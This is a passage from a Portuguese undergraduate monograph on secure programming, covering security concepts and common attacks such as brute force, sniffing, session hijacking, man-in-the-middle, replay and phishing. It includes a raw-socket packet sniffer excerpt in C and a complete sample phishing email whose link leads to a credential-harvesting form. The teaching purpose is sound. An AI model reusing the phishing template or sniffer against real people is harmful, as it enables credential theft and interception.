Você está na página 1de 109

Notas sobre programação segura

Savio Sena <savio.sena@gmail.com>

Departamento de Informática, PUC-Rio

Rio de Janeiro, RJ

18 de Junho de 2007
ii
Conteúdo
1 Sobre o documento 1
1.1 Apresentação . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2 Motivação . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.3 Contexto atual . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.4 Escopo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.5 Agradecimentos . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2 Introdução 6
2.1 Informação Segura . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.2 Sistema Seguro . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.2.1 O que é um Sistema Seguro? . . . . . . . . . . . . . . . 7
2.3 Vulnerabilidades . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.4 Tipos de Ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.4.1 Condencialidade e Posse . . . . . . . . . . . . . . . . . . 10
2.4.2 Integridade e Autenticidade . . . . . . . . . . . . . . . . . 13
2.4.3 Disponibilidade e Utilidade . . . . . . . . . . . . . . . . . 19
2.5 Desenvolvimento de Sistemas Seguros . . . . . . . . . . . . . . . 20
2.5.1 Engenharia de Softwares Seguros . . . . . . . . . . . . . . 20
2.5.2 O Dilema Segurança-Custo-Usabilidade . . . . . . . . . . 21
2.5.3 Processos de Desenvolvimento de Software . . . . . . . . . 22

3 Explorando vulnerabilidades 23
3.1 Introdução . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
3.1.1 Arquitetura de Sistemas . . . . . . . . . . . . . . . . . . . 23
3.1.2 Gerenciamento de memória . . . . . . . . . . . . . . . . . 24
3.1.3 Processamento de Entradas . . . . . . . . . . . . . . . . . 24
3.2 Buer Overow . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
3.2.1 Stack overow . . . . . . . . . . . . . . . . . . . . . . . . 25
3.2.2 Heap overow . . . . . . . . . . . . . . . . . . . . . . . . 29
3.2.3 Integer overow . . . . . . . . . . . . . . . . . . . . . . . 40
3.3 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.4 Cross-Site Scripting (XSS) . . . . . . . . . . . . . . . . . . . . . 47
3.5 Format string . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
3.6 Considerações sobre Exploração de Vulnerabilidades . . . . . . 53

4 Implementação Segura 54
4.1 Introdução . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
4.1.1 Mínima Concessão de Privilégios . . . . . . . . . . . . . 57
4.1.2 Controle de Acesso . . . . . . . . . . . . . . . . . . . . . 58
4.1.3 Processamento de entrada . . . . . . . . . . . . . . . . . 60
4.2 Boas práticas de programação em C e C++ . . . . . . . . . . . 61
4.2.1 Vericação de limites . . . . . . . . . . . . . . . . . . . . 61
4.2.2 Gerenciamento de Memória . . . . . . . . . . . . . . . . 67
4.2.3 Formatação de Dados . . . . . . . . . . . . . . . . . . . 68

iii
4.2.4 Manipulação de outros tipos de dados . . . . . . . . . . 72
4.3 Implementação segura no Unix . . . . . . . . . . . . . . . . . . 73
4.3.1 Processos . . . . . . . . . . . . . . . . . . . . . . . . . . 74
4.3.2 Gerenciamento de Arquivos e Diretórios . . . . . . . . . 76
4.3.3 Programas SUID/SGID . . . . . . . . . . . . . . . . . . 77
4.3.4 A função chroot() . . . . . . . . . . . . . . . . . . . . . . 80

5 Ferramentas 82
5.1 Análise de Software . . . . . . . . . . . . . . . . . . . . . . . . . 82
5.2 Teste automatizado . . . . . . . . . . . . . . . . . . . . . . . . . 85

6 Considerações Finais 87
7 Apêndices 88
7.1 Código-Fonte . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
7.2 Bibliograa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101

iv
Aos três responsáveis por minha criação e existência.

v
1 Sobre o documento
1.1 Apresentação
Este documento é produto de duas fases distintas da graduação em Engenharia
da Computação, pelo Departamento de Informática da Puntifícia Universidade
Católica do Rio de Janeiro (PUC-Rio); orientado pelo Prof. Arndt von Staa.

No primeiro momento, houve um estudo amplo sobre programação segura,


cobrindo todas as partes do desenvolvimento. Desde o design, à implementação
e testes. O estudo deu origem ao primeiro capítulo deste documento.

No segundo semestre de trabalho  já com material e conhecimento acumu-


lado  deu-se início ao projeto de conclusão do curso. O escopo escolhido dá
enfoque à fase de implementação porque, dentre outras coisas, é a fase mais
crítica da produção do software, onde a maioria das vulnerabilidades surgem.
Por m, apresente-lhes Notas sobre Programação Segura  um documento
para todo programador que deseja conhecer mais, tanto sobre técnicas de explo-
ração de vulnerabilidades, quanto sobre as melhores práticas de implementação
orientada à segurança.

O pré-requisito para ler este documento é ter conhecimentos sobre arquite-


turas de computadores, sistemas operacionais, e linguagens de programação de
baixo e médio nível (Assembly e C ).

É desejável que o leitor conheça um pouco sobre desenvolvimento web e re-


des de computadores, principalmente os protocolos de transporte e aplicação da
Internet.

1.2 Motivação
A segurança da informação é o processo que visa garantir a condencialidade,
integridade e disponibilidade dos dados de um sistema [ISO17799]. Para isso
é necessário que se possa depender deste sistema assumindo riscos conhecidos
[Staa2006].

Ao fazer a análise de risco, consideramos as possíveis ameaças que podem


explorar as falhas dos ativos tecnológicos da nossa corporação. Aplicamos con-
troles e políticas de segurança rigorosas para evitar o comprometimento das
informações; no entanto, ainda assim, é preciso prover acessos a serviços, e
mesmo com todos os rewalls e sistemas de detecção de intrusos o risco ainda
é bastante alto.

1
Serviços são portas de acesso público que operam sob requisições externas
e, como qualquer outro sistema, também podem ter defeitos que comprometam
a sua segurança.

Todos os detalhes importam quando se trata da segurança da informação.


Por isso é necessário adotar algumas medidas durante o ciclo de vida do software ;
cada fase deve se comprometer com a tarefa de mitigar os riscos associados ao
sistema.

92% das vulnerabilidades estão em software , NIST


A fase de levantamento de requisitos deve conter a especicação dos requi-
sitos de segurança do software. O design e a arquitetura do sistema devem
considerar todo o controle de acesso  com permissões, auditabilidade e identi-
cação  e devem antecipar soluções contra alguns ataques ou vulnerabilidades.
Estes pontos são fundamentais para qualquer sistema seguro por construção.

Outra prática extremamente importante do processo de desenvolvimento se-


guro é a execução de testes. Muitas vulnerabilidades podem ser identicadas
durante a codicação do produto. A análise estática, a auditoria e a reprodução
de casos de uso destinados a testar a segurança, podem ser ecazes para com-
bater as vulnerabilidades do sistema.

Não para por aí. Qualquer melhoria na qualidade do software tem um im-
pacto, ainda que indireto, na sua segurança  já que qualidade está diretamente
associado, dentre outras coisas, à baixa ocorrência de erros. Da mesma forma,
não se pode dizer que um software inseguro é um software com qualidade. Por
isso, até mesmo a escolha do processo de desenvolvimento e dos métodos de
controle de qualidade inuenciam o risco que o sistema estará sujeito.

Por m, deve-se tomar todo o cuidado possível na fase de implementação.


Esta é fase onde o sistema se torna real. Pequenos bugs podem trazer abaixo
todo um esquema de segurança. Por isso, a implementação é  talvez  o
momento mais crítico e decisivo para a consolidação de um sistema seguro.

Um aplicação codicada de forma insegura pode comprometer


o valor the outras soluções de segurança., Forrester Research

Este documento aborda detalhes desta fase do desenvolvimento. Exercer a


segurança na implementação é tarefa que depende exclusivamente do progra-
mador. A leitura das próximas seções trará uma visão sobre a programação
segura, que pode amadurecer a mentalidade dos programadores inexperientes e
fornecer o conhecimento necessário para construir sistemas mais seguros.

2
1.3 Contexto atual
Existem algun indícios que apontam para um problema decorrente da falta de
segurança em sistemas de informação.

Analisando o histórico de números de incidentes reportados por ano ao


CERT.br (Centro de Estudos, Resposta e Tratamento de Incidentes de Se-
gurança) [CERT.Br,2007], ca evidente que estamos passando por período de
transição, onde a programação segura torna-se cada vez mais indispensável na
fabricação de softwares. No último ano o número de incidentes triplicou!

Figura 1: CERT.Br - Estatísticas de Incidentes

Ainda não concluímos um terço de ano em 2007 e já foram registrados quase


tantos incidentes quanto em todo o ano 2006. A expectiva é que este índice se
mantenha estável  portanto, 2006 não parece ter sido uma exceção.

Atrelado à isto  e, obviamente, como fator agravante  está o aumento


do número de vulnerabilidades encontradas em softwares. A CERT (Computer
Emergency Readiness Team ) nos dá os seguintes números [CERT/CC,2007]:

Year 2000 2001 2002 2003 2004 2005 2006


Vulnerabilities 1,090 2,437 4,129 3,784 3,780 5,990 8,064

3
Considere ainda todos os novos ataques criados contra sistemas de informa-
ção; todas as novas técnicas para tirar proveito das vulnerabilidades; considere
a popularização da (in)segurança, e a enorme disponibilidade de todas estas
informações na Internet.

O crescimento dos incidentes retrata um crescimento, talvez obscuro, do


risco associado ao software. Todos esses elementos citados acima são ameaças
contra um sistema de informação.

Obviamente, o crescimento de qualquer risco demanda o amadurecimento


do tratamento dado a ele. Este fato parece não receber a atenção que merece.
A carência da preocupação com a segurança vem, tanto por parte das fábricas
de software, quanto por parte da maioria dos programadores.
Muitas dessas ameaças podem ser evitadas, como mostra a próxima seção;
o risco deve ser mitigado. O que poderia ser mais ecaz do que garantir a segu-
rança na fase de implementação do software ? Para tal, é importante conhecer
os erros mais comuns dos programadores, e entender como eles são explorados.

1.4 Escopo
É objetivo do documento tratar dos aspectos da segurança da informação no
desenvolvimento de software  mais precisamente na sua implementação.

O estudo inicia com uma seção teórica que tenta consolidar a base do conhe-
cimento acerca da programação segura. Os conceitos e propriedades denidos
nesta seção ajudam a alertar para os aspectos fundamentais que devem ser com-
preendidos e exercitados no decorrer do estudo.

A segunda parte descreve como explorar algumas vulnerabilidades que ten-


dem a ser codicadas com freqüencia por programadores descuidados. O obje-
tivo é enfatizar a criticidade de um erro que afeta a segurança, e mostrar que
tais faltas são de fato muito comuns e são, muitas vezes, reproduzidas quando
optamos pela codicação mais simples e intuitiva.

A terceira e última parte deste documento descreve boas práticas de progra-


mação; algumas aplicáveis a sistemas Microsoft, e outras (a maioria) aplicáveis
a sistemas Unix. Algumas técnicas ocasionalmente podem ser comuns à outros
sistemas operacionais; por exemplo, toda a abordagem de stack overows pode
ser usada para explorar programas de MS-DOS, etc.

Não é objetivo deste documento discutir aspectos administrativos da segu-


rança da informação. Também não se deve entender programação segura como
programação de segurança. Existe o software que faz a segurança e outros que
são passivos no que diz respeito à gerência, mas devem, ainda assim, coexistir

4
com os requisitos de segurança do ambiente.

Espero que ao término da leitura o programador tenha maior consciência


dos danos que pequenos descuidos podem ocasionar. Estes danos quase sempre
afetam organizações e pessoas, e podem até ser irreparáveis.

Todos os exemplos do documento foram desenvolvidos em C e Assembly


(sintaxe AT&T) testados em Linux 2.6 AMD64 com GCC 3.4 e GDB 6.4, Perl
v5.8.8 e binários ELF 64-bit.

1.5 Agradecimentos
Devo meus sinceros agradecimentos à algumas pessoas que me apoiaram du-
rante o longo período de criação deste trabalho. Não houvesse esta ajuda, este
trabalho não seria possível.

Obrigado aos professores Arndt von Staa e Marcus Vinícius Poggi de Ara-
gão, do Departamento de Informática da PUC-Rio, pelo exemplo, atenção, e
por serem grandes mestres e educadores; aos amigos de trabalho Eric Chiesse,
Marlon Gaspar e Gustavo Gerhardt, por todas as conversas e incentivos que me
valeram além do que pude expressar; a todos os amigos de graduação que luta-
ram e estiveram do meu lado nos momentos mais difíceis, em especial, André
Siqueira, Flávio Martins, Maurício Lage Ferreira, Raúl Mariano e Sérgio Vitor
Bruno.

Por m, gostaria de agradecer a todos os amigos geeks, pelas inumeráveis crí-
ticas, revisões e idéias, por todo o tempo e atenção, e por fazerem parte de uma
escola que, mesmo sem paredes, é o que há de mais concreto no meu apren-
dizado. Obrigado Bruno Pacheco, Cássio Caporal, Daniel C. Bastos, Felipe
Cerqueira, Felipe Lemos, Felipe Saraiva, Fernanda Serpa, Guilherme Ornellas,
Rafael Almeida, Tiago Musa, Tiago Vilas Boas, Victor Loureiro Lima, e a todos
que foram omitidos mas fazem parte da minha história.

5
2 Introdução
2.1 Informação Segura
A segurança da informação consiste em proteger os dados de acesso, uso, divul-
gação, ruptura, modicação ou destruição não autorizados [U.S.C 44 Ÿ 3542],
de forma a assegurar as seguintes propriedades:

• Condencialidade: A garantia da privacidade dos dados. A informação


só deve ser compreendida por destinatários intencionalmente autorizados.

• Integridade: A garantia que a informação não será alterada na trans-


missão ou armazenamento, seja por um infrator ou acidentalmente.

• Disponibilidade: A garantia que a informação pode ser acessada sempre


que permitido pela política de segurança
1.

Essa tríade caracteriza a visão clássica da segurança da informação de forma


geral, e é popularmente conhecida por seu acrônimo  CID (inglês: CIA triad ).
Existem outras propriedades que agregam valor à segurança. O modelo
proposto por Donn B. Parker [Parker2002] adiciona mais três propriedades ao
modelo clássico:

• Posse ou Controle: Ter o controle sobre a utilização da informação.

Um exemplo é o cartão de crédio que pode ser cancelado imediatamente


em caso de roubo. Desta forma dizemos que o proprietário tem a controle
dos direitos de uso e portanto a posse da informação.

• Autenticidade: A qualidade de ser verdadeira, genuína, digna de acei-


tação por razões de conformidade com os fatos e a realidade.

Esta propriedade conta, dentre outros fatores, com a integridade da fonte,


e por isso, uma das maneiras de assegurar a autenticidade é fazendo uso
assinaturas digitais.
de

• Utilidade: A informação deve ser útil para algum propósito.


Um exemplo de situação onde a informação não é útil e está em confor-
midade com a CID é quando um dado é encriptado e a chave é perdida.

Este modelo é chamado Héxade Parkeriana. Seu criador argumenta que es-
tas propriedades são atômicas  isto é, que não se sobrepõem às propriedades da
tríade clássica. No entanto, existem críticas severas quanto à sua atomicidade.

Não devemos entrar no mérito da corretude desta questão. Ainda que não
atômicos, os atributos são de grande valor para o desenvolvimento de um soft-
ware seguro, e por isso devem receber sua atenção.
1 Algumas políticas de segurança impõem restrições quanto ao acesso à informação. Por
exemplo, uma empresas pode bloquear o acesso às informações de uma intranet durante a
noite.

6
2.2 Sistema Seguro
Um sistema, para ns deste documento, é a combinação dos hardwares e softwa-
res de um computador. A segurança da informação consiste em controlar os
dados, no uxo, armazenamento e utilização da informação, tal que as proprie-
dades descritas na seção anterior sejam garantidas.

2.2.1 O que é um Sistema Seguro?


Para responder esta pergunta é de grande ajuda compreender o que caracteriza
a dedignidade de um software, já que a segurança está implícita em qualquer
sistema que podemos depender assumindo riscos conhecidos [Avizienis2004].

A dedignidade transcende o escopo da segurança e engloba propriedades


como manutenibilidade, recuperabilidade, depurabilidade e robustez [Staa2006],
que não têm a ver diretamente com o que queremos ilustrar. Mantendo as de-
mais características temos o esboço de um modelo adeqüado.

A lista abaixo faz parte da relação proposta em [Staa2006], que descreve as


qualidades de um software dedigno, e nos mostra os aspectos que importam
diretamente para responder nossa pergunta. Portanto, um software seguro é
aquele que está em conformidade com os seguintes aspectos:

• Conabilidade: habilidade de sempre prestar serviço correto. Cabe ob-


servar que mais de 50% das falhas observadas em sistemas em uso devem-se
a erros de operador [Patterson2004]. Ou seja, conabilidade não é somente
assegurar que o sistema esteja em correspondência exata com a sua espe-
cicação.

• Segurança 2 : (safety) habilidade de evitar conseqüências catastrócas,


ou de grande envergadura, afetando tanto os usuários como o ambiente.

• Proteção: habilidade de evitar tentativas de agressão bem sucedidas (em


[Avizienis2004, Fox2002] esta é uma propriedade agregadora no mesmo
nível que dedignidade).

• Privacidade: habilidade de proteger dados e código contra acesso inde-


vido. Cabe observar que isto se refere não só aos dados contidos na má-
quina, mas também aos dados em trânsito entre máquinas, mesmo quando
estiverem em uso mecanismos diferentes de redes de computadores.

• Integridade: ausência de alterações não permitidas (corrupção de ele-


mentos).

2 Não confundir security com safety. Do inglês, secure software é um programa em confor-
midade com os fatores listados aqui. Safety é simplesmente o fator de qualidade que desejamos
atender.

7
• Disponibilidade: estar pronto para prestar serviço correto sempre que
se necessite do software.

• Auditabilidade: habilidade de gerar registros de eventos que demons-


trem a trilha das ações relevantes para a segurança do sistema.

O ítem Depurabilidade, do original em [Staa2006], foi adaptado para o


nosso cenário, através do atributo Auditabilidade. A depurabilidade considera
o registro de muitos eventos que não importam para a segurança do sistema.

Portanto, um software seguro é aquele que garante um serviço correto, de


prontidão, e que gerencia corretamente as permissões de acesso, evitando danos
à terceiros.

2.3 Vulnerabilidades
Em concordância com [Staa2006], dizemos que uma falta em um programa é
um defeito latente que, quando exercitado, tem o potencial de gerar um erro.
Erros são caracterizados pela ocorrência de uma ação, cálculo ou resultado
incorreto produzido pelo programa, e podem ser classicados de acordo com a
causa da incorretude, por exemplo: erros de produção são causados ao criar ou
alterar elementos de um sistema;erros de processamento ocorrem quando há um
estado ou resultado indesejado; erros de uso são gerados a partir da operação
do software e podem ser esperados ou excepcionais.

Os erros esperados são aqueles previstos na codicação; por exemplo, alguns


erros humanos, erros de transmissão de dados, esgotamento de memória, dentre
outros. Os erros excepcionais são aqueles que transgridem as assertivas imple-
mentadas.

Um erro, quando observado por um observador de erros, se torna uma fa-


lha ; em outras palavras, falhas são erros percebidos por mecanismos capazes
de compreender a ocorrência de um comportamento deciente do programa 
sejam estes observadores pessoas ou quaisquer instrumentos de vericação.

Aqui dizemos que há uma falta de segurança quando é possível obter infor-
mações ou permissões privilegiadas do sistema, ou simplesmente torná-lo indis-
ponível, através da exploração do defeito. Veremos na seção 2.5 os impactos
decorrentes dos ataques mais comuns a softwares.

De forma mais genérica, dizemos que uma vulnerabilidade é qualquer as-


pecto da informação, ou sistema, que possibilite a violação da sua seguraça. As

8
vulnerabilidades de software são, na maioria das vezes, ou faltas de segurança,
ou problemas instrínsecos à sua arquitetura.

A seção 2.2 dene o que caracteriza um software seguro de acordo com os


conceitos de dedignidade [Staa2006]. A seção 2.1 descreve as características de
uma informação segurança. Por m, a seção 2.4 mostra alguns tipos de ataques
que são frequentemente usados contra softwares.
Ainda que não exista sistema totalmente seguro, algumas práticas e meca-
nismos são capazes de impedir muitos dos ataques que conhecemos. A seção
3 apresenta tipos comuns de faltas de segurança e descreve as técnicas usadas
para explorá-los.

2.4 Tipos de Ataques


Esta seção descreve alguns dos ataques mais comuns executados contra sistemas
de informação na Internet. Não é objetivo descrever a execução e as variações
dos ataques, mas sim, mostrar, ainda que supercialmente, algumas formas de
se proteger deles. O entendimento da técnica, por si só, permite que a imagi-
nação do programador trabalhe algumas soluções  além de proporcionar uma
maior visibilidade das ameaças que o cercam.

A classicação dos ataques utiliza a abstração de perdas de informação des-


crita em [Parker2002]. Nela, as propriedades da Héxade Parkeriana foram agru-
padas em três duplas que compartilham algumas semelhanças. Esta simpli-
cação facilita a identicação das ameaças e indica os controles que devem ser
aplicados.

Os tópicos a seguir fazem uma generalização do modelo original e incluem


também algumas perdas indiretas  que decorrem da exploração das vulnera-
bilidades do sistema. Por exemplo, adqüirir privilégios do usuário root em um
servidor Unix não afeta diretamente a integridade das informações dos usuários.
Ainda assim ela está vulnerável, já que o root tem permissão para executar qual-
quer função e por conseqüência, pode comprometer a segurança dados.

Também é válido ressaltar que os ataques exploram problemas, ou na arqui-


tetura, ou na implementação, ou na operação das funcionalidades do software
[Gra et al. 2003]. Esta distinção é importante para identicar a origem do pro-
blema, e conseqüentemente as medidas, preventidas ou corretivas, que devem
ser tomadas.

9
2.4.1 Condencialidade e Posse

Força-bruta
O ataque por força-bruta consiste em tentar adivinhar a chave de acesso à
informação através do uso consecutivo de um conjunto grande de possibilidades.

Em alguns sistemas isto equivale a testar as combinações mais provavéis da


senha de um usuário. Na criptoanálise usa-se a força-bruta para encontrar
a chave que permite desencriptar a mensagem, ou, em outros casos, para
encontrar a string que permite gerar um hash conhecido.

Normalmente é inviável executar um ataque por força-bruta sem o auxílio de


máquinas para testar as exaustivas possibilidades com rapidez. A execução
manual do ataque pode demorar, em alguns casos, milhões de vezes mais que o
processo automatizado, e por isso é quase sempre impraticável executá-lo desta
forma.

Alguns dispositivos são capazes de identicar se quem está interagindo com o


serviço é um humano ou uma máquina. Para isto é criado um desao que, à
princípio, oferece muita diculdade para ser resolvido por um computador.

Uma imagem com números, por exemplo, pode ser facilmente interpretada
por um humano, mas não por uma máquina. Estes mecanismos são chamados
CAPTCHA ( Completely Automated Public Turing Test ) e podem ser usados
para proteger sistemas de ataques por força-bruta.

Algumas vezes não é possível garantir a posse da informação. Os hashes das


senhas usados nos sistemas UNIX, por exemplo, são susceptíveis ao ataque por
força-bruta. Sua segurança é controlada através das permissões de acesso ao
arquivo /etc/shadow. No entanto, uma vez roubados, os hashes não podem ser
invalidados ou recuperados  a informação estará, invariavelmente, sujeita ao
ataque por força-bruta.

Como o algoritmo de geração do hashes é conhecido, é possível gerar um


conjunto grande de candidatos e comparar seus respectivos hashes com o que
foi roubado. Quando os resultados combinam é porque a senha do usuário
é um dos candidatos considerados. Por isso é tão importante incentivar o
uso de senhas fortes  i.e., com a maior entropia e comprimento que se possa ter.

10
Sning
Um snier é um agente que monitora o tráfego de dados na rede. Ele pode ser
passivo, no caso de redes onde a informação é distrubuída por difusão (inglês:
broadcast ), ou ativo, quando é necessário corromper tabelas ARP dos switches
para obter cópias dos pacotes. A informação é comprometida quando o meio
não utiliza criptograa e por isso permite que um agente mal intencionado a
intercepte e a compreenda.

Alguns softwares são capazes de ativar o modo promíscuo das interfaces de


rede do computador, e com isso podem cheirar (inglês: sni ), i.e. perceber, o
uxo de todos os pacotes que atingem a estação  além dos que são destinados
à ela.

Estes ataques são possíveis em redes que usam difusão para entregar a mensa-
gem na estação destino, como é o caso de redes que têm como elementos central
para a difusão da mensagem os hubs [LFGS1995]. Réplicas da informação são
enviadas para todos os nós conectados à ele e cabe à estação destino decidir
como processar a mensagem.

Também é possível corromper as tabelas ARP dos comutadores (inglês:


switches ) da rede para passar a receber cópias de todos os pacotes destinados
à subrede. Isto é feito através de uma técnica de spoof que forja as respostas
do protocolo ARP (Address Resolution Protocol ).
Este protocolo é bastante simples, e funciona da seguinte forma:

• Quando um nó da subrede deseja saber quem responde por um determi-


nado IP , ele envia uma mensagem ARP Request por difusão.

• A estação deve responder positivamente com um ARP Reply  que indica


seu endereço M AC  caso seja responsável do endereço IP procurado.

O mesmo ocorre quando um nó da rede deseja saber quem possui um determi-


nado endereço M AC , mas neste caso, dizemos que as mensagens são do tipo
Reverse ARP  RARP Request e RARP Reply.
Uma técnicas de spoof chamada ARP Poison forja as mensagens de resposta se
identicando como detentor do IP ou do endereço M AC procurado. Com isso,
as tabelas ARP dos elementos da rede estarão contaminadas com respostas fal-
sas, e fará com que as unidades de dados sejam enviadas para o agente do ataque.

Um snier pode agir em níveis muito baixo, podendo até ter acesso ao conteúdo
da informação antes mesmo de ser processado por ltros de pacotes ( rewalls ).
O programa abaixo utiliza a system call socket do Linux para obter uma
interface que descreve todo o uxo de todos os pacotes do dispositivo de rede:

11
rawsni.c

15 int main (int argc , char∗∗ argv ) {


26 f d = s o c k e t (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL) ) ;
53 read ( fd , buf , sz − 1);
54 buf [ s z ] = 0 ;
55 p r i n t f ( "\n" ) ;
56
57 for ( i =0; i <s z ; i ++)
58 p r i n t f ( " %.2 x " , ( unsigned char ) buf [ i ] ) ;
59 p r i n t f ( "\n" ) ;
60 return 0;
61 }
O primeiro argumento recebe o valor P F _P ACKET , que indica que os
dados devem ser lidos logo após o nível físico da TCP/IP Stack. O parâmetro
SOCK _RAW indica que o dado ( frame ) não deve ser alterado ao ser passado
ou lido do dispositivo de rede. Por m, ET H _P _ALL indica que todos os
protocolos devem ser considerados. A versão completa deste programa está no
Apndice deste documento.

Note que para executá-lo é necessário privilégios de administrador do sistema


Linux  esta proteção é implementada pelo sistema operacional para evitar que
usuários do sistema leiam os dados antes de ser processado por um ltro.

No caso das redes conectadas por hubs não há forma de impedir que có-
pias cheguem para todas as estações. Alguns sistemas devem implementar
mecanismos de criptograa para preservar a condencialidade dos dados na rede.

Hijacking de sessão
O objetivo do hijack é roubar a sessão TCP estabelecida entre dois nós de uma
rede. Existem algumas formas de fazer isso. Uma delas é prever a sequência
dos pacotes TCP e simular uma resposta válida para a extremidade que está
conectada à vítima, se passando por ela. Além disso deseja-se excluir a vítima
da comunicação pra que não haja conito entre os pacotes reais e forjados e
para que a vítima não perceba alterações no uxo das instruções do serviço.

Imagine que um hacker utilize um snier para observar todo o procedimento


de abertura de conexão e autenticação entre uma vítima V e um servidor X,
que ofecere um serviço de shell remoto (e.g., telnet). Este hacker é capaz
de prever os números de sequência dos pacotes e também de forjar os dados
através de técnicas de spoof. Para excluir a vítima da comunicação o hacker
executa um ataque do tipo syn ood. Por m, todas as condições necessárias
para executar o hijack com sucesso foram atendidas.

12
Assumindo que a vítima V tem acesso ao servidor (caso contrário o ataque não
faria sentido), o hacker está livre de qualquer rewall que possa bloquear seus
pacotes TCP (syn e ack no caso do nível de sessão), e também tem a chance
de aproveitar a autenticação usuário no nível de aplicação, já este normalmente
fornece o login e a senha para acessar o serviço.

Este ataque viola a posse e a integridade da fonte, já que rouba a sessão e


falsica a identidade da vítima.

2.4.2 Integridade e Autenticidade


Man in The Middle
Neste ataque o agente da ameaça é capaz de assumir uma posição lógica
entre dois nós da rede, de tal forma que seja possível interceptar, modicar
e reenviar uma unidade de dado sem que alguma das partes da comunicação
tome conhecimento. Quando o agente consegue estas condições diz-se que ele
é um man in the middle (português: homem no meio ). Para conseguir esta
posição lógica é necessário utilizar outras ténicas, que também são descritas
nesta seção; como sning e spoof.
O princípio é semelhante ao adotado no hijack, mas neste caso o interesse não
é roubar a conexão, mas sim modicar os dados que trafegam por ela.

Muitos sistemas de criptograa contam com a troca de chaves públicas entre


as partes interessadas na comunicação, antes de iníciar a transmissão de dados.
Neste caso um hacker pode forjar as chaves de ambos os lados e garantir acesso
de leitura ao texto, ainda que encriptado.

Imagine que A queira falar com B por um canal seguro. O agente X está
posicionado entre os dois nós, e é capaz de interceptar, ler, alterar, e encaminhar
os pacotes  sem ser notado.

A B

Figura 2: Man in the Middle

13
O nó A pede à B sua chave pública para que possa iniciar a transmissão dos
dados encriptados. O nó B, ao receber a requisição, envia sua chave pelo canal
 monitorado por X. Ao perceber a chave de B no meio, X a intercepta,
guarda e envia uma nova chave para A, fazendo o spoof para se passar por B.
O mesmo é feito para o outro lado da transação, onde B requisita a chave de
A.
No nal das trocas X terá quatro chaves armazenadas; duas delas  as forjadas
 foram criadas por ele mesmo e por isso podem ser usadas para desencriptar a
informação, já que X conhece suas respectivas chaves privadas. As outras duas
são as chaves públicas de A e B, e ele as utiliza para enviar a informação que
será novamente encriptada.

Quando A envia uma mensagem para B, ele está na verdade utilizando


uma chave pública criada por X. Esta mensagem será interceptada por X,
desencriptada (já que X conhece sua chave privada) e lida. Logo em seguida X
utiliza a chave pública original interceptada de B para encriptar novamente a
mensagem e a reenviar. O nó B recebe a mensagem encriptada com sua chave
pública e a interpreta sem notar que sua condencialidade foi comprometida.

É possível tirar proveito deste ataque de outras formas. Por exemplo, se um


usuário tenta fazer download de um binário da Internet e há alguém capaz
de interceptar esta conexão, é possível injetar códigos maliciosos no programa
para que seja executado na estação.

As possibilidades são inúmeras e cabe ao desenvolvedor do sistema seguro


compreender a essência do ataque, que está justamente na posição do agente na
rede. Não basta portanto utilizar criptograa de chave pública, já que, como
vimos, a troca das chaves pode ser comprometida.

Replay Attack
O replay attack reproduz uma sequência válida de mensagens para obter acesso
ao sistema ou à informação. Em um cenário hipotético um usuário troca três
mensagens para se autenticar no servidor. A primeira faz a requisição do
serviço, a segunda envia seu login e a última fornece a senha. Enquanto isso o
hacker usa um snier para copiar as mensagens. Mais tarde as cópias serão
usadas pra reproduzir a sequência de autenticação.

Uma das formas de proteger o sistema deste tipo de ataque é através da


implementação de tokens de autenticação. Estas unidades são geradas através
de funções hash pelo servidor e enviadas para o usuário, que as utiliza para
gerar uma unidade de autenticação (possivelmente) única.

14
Phishing
O nome da técnica tem origem na palavra inglesa shing, que signica pesca. O
agente deste ataque forja a identidade de uma prestadora de serviço conável
para conseguir as informações condenciais da vítima.

O usuário atacado fornece seus dados imaginando estar entregando a um


serviço conhecido, enquanto na verdade se trata de uma entidade forjada para
executar o ataque.

O termo phising ilustra bem como a técnica funciona, já que é preciso que a
vítima morda a isca para que o ataque tenha sucesso. Como isso funciona na
prática?

Imagine que uma pessoa má intencionada queira obter as senhas dos clientes
do BancoP hycticio. Este banco tem um site na Internet no endereço:

http : //www.bancophycticio.com.

Para executar o ataque cria-se um outro website idêntico ao do banco, porém


com o formulário de login malicioso  que envia todos os dados do usuário para
o responsável pelo ataque. A cópia estará no endereço:

http : //256.168.1.2.

Para convencer o usuário a acessar o site forjado o criminoso envia a seguinte


mensagem por e-mail :
<html>
<body>
<p> Prezado Cliente do Banco Phyctício, </p>

<p>Para sua segurança estamos atualizadando nosso sistema de


autenticação pela Internet. Para isso pedimos para que você acesse o
link abaixo e renove os dados da sua conta.</p>

<p>Este procedimento é obrigatório e deve ser executado dentro dos


próximos cinco dias úteis. Caso contrário o acesso ao sistema pode
ser temporariamente bloqueado.</p>

<p>Para acessar o formulário de atualização, utilize o link:</p>


<p><a href="http://256.168.1.2/evilform.php?email=victim@foobar.com">
http://www.banco-phycticio.com
</a></p>

<p>Obrigado pela atenção, e nos desculpe por qualquer


transtorno. Estamos trabalhando para ofecer um serviço mais seguro
para os nossos clientes.</p>

<p>John Doe<br>
Pessoa Importante, Banco Phyctício<br>
Tel: +55 21 3010-7123</p>
<br>
</body>
</html>

15
O usuário desatento pode cair na armadilha e seguir o link para a página
clonada, já que, tendo o código HTML interpretado, o endereço real será
confundido com o nome do link. Em seguida ele entrará com o login e a senha;
o sistema guardará os dados e retornará uma mensagem de erro. É o m do
ataque bem sucedido.

Esta técnica é considerada uma forma de engenharia social já que manipula a


vítima para que ela divulgue suas informações condenciais.

O phishing tem se tornado muito popular entre os criminosos da Internet. O


sucesso deste ataque é proporcional ao descuido e falta de atenção dos usuários
 que, indiscutivelmente, é muito grande.

Aos desenvolvedores cabe não só proteger o sistema de faltas técnicas que


